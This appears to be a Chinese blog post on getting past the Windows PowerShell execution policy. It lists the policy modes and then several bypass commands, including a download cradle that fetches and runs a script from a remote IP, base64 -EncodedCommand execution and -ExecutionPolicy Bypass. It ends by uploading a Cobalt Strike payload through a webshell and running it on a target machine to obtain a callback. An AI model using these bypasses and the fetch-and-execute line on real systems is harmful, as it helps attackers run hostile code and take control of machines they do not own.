AI智能
改变未来

PowerShell禁止执行策略绕过实践

在Windows中,为了防止使用者允许恶意脚本,PowerShell提供了一个执行策略,在默认情况下这个策略为不能运行。
那我们如何指导运行规则呢?
cmd中执行

powershell Get-ExecutionPolicy


这里为Restricted,那其实相关的策略有:

策略 描述
Restricted 默认设置。在任何条件下,都不允许PowerShell脚本运行
AllSigned 只有数字签名的脚本(包括配置文件脚本)将会运行,此外,会提示你允许运行那些使用指定的证书签名的脚本
RemoteSigned 经本地编写的脚本将会运行。从网络下载的脚本运行,除非他们签名了并且你批准了的签名的证书
UnRestricted 所有的脚本都将运行,但是,对于下载的脚本会警告你,而且,它们运行前必须批准
ByPass 任何脚本都将运行,而且不管其来源。这是一个潜在的非常危险的设置,只有在非常特定的情况下才使用;其中,其他的安全性系统已经准备好了,可以防止流氓脚本未经你的许可而运行
Undefined 如果没有认为的设置过主机的PowerShell脚本执行策略。默认是Restricted,禁止所有脚本运行

如果是正常用户,能够直接设置powershell执行权限,可以用

Set-ExecutionPolicy

进行设置,将

ExecutionPolicy

改为

Unrestricted

,可以运行未签名的脚本

Set-ExecutionPolicy Unrestricted

效果如下
大小写好像也不重要
但是很多时候,我们并不是用户,就需要去绕过限制禁止执行的限制,在目标机器上执行我们想要执行的PowerShell代码

然后就测试了一些方法,以下几种实用比较容易,也确实都可以

1.直接在控制台输入

不写入磁盘。不会导致任何配置更改。

2.从文件中读取脚本并通过PowerShell的标准输入

powershell Get-Content test.ps1 | PowerShell.exe -noprofile -

powershell GC test.ps1 | PowerShell.exe -noprofile -

powershell type test.ps1 | PowerShell.exe -noprofile -

同理,可以使用echo把内容传递过去,类似linux下。
不写入磁盘。不会导致任何配置更改。

powershell Echo \'Write-Host \"My voice is my passport, verify me.\" \'| PowerShell.exe -noprofile -

3.下载的方式

从网上下载PowerShell脚本并执行。
不写入磁盘。不会导致任何配置更改。

powershell -nop -c \"iex(New-Object Net.WebClient).DownloadString(\'http://192.168.159.134/pstest\')\"

4.command

不写入磁盘。不会导致任何配置更改。

Powershell -command \"Write-Host \'hello world\'\"

Powershell -c \"Write-Host \'hello world\'\"

5.EncodeCommand

不写入磁盘。不会导致任何配置更改。
在powershell中执行如下命令

$command = \"Write-Host \'hello world\'\"

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

powershell.exe -EncodedCommand $encodedCommand

或者拿到编码后的信息,再运行

powershell.exe -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgA CcAaABlAGwAbABvACAAdwBvAHIAbABkACcA

-EncodedCommand

参数可以简写为

-Enc

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcAaABlAGwA bABvACAAdwBvAHIAbABkACcA

6.Invoke-Command

不写入磁盘。不会导致任何配置更改。

powershell invoke-command -scriptblock {Write-Host \"hello world\"}

7.ByPass

不写入磁盘。不会导致任何配置更改。

PowerShell.exe -ExecutionPolicy UnRestricted -File test.ps1

这里应该是用某种策略执行脚本,所以比如下载的,可以用RemoteSigned来生效

实践

最后再来进行cs shell上线测试
生成powershell脚本,然后蚁剑上传
直接执行自然不行,

powershell ./payload

执行下,报如下信息
所以要绕过执行限制

PowerShell.exe -ExecutionPolicy Bypass -File payload.ps1

成功上线

以上这些都是测试过的,我测试的机子是win7,有兴趣的可以试试。

参考链接:https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » PowerShell禁止执行策略绕过实践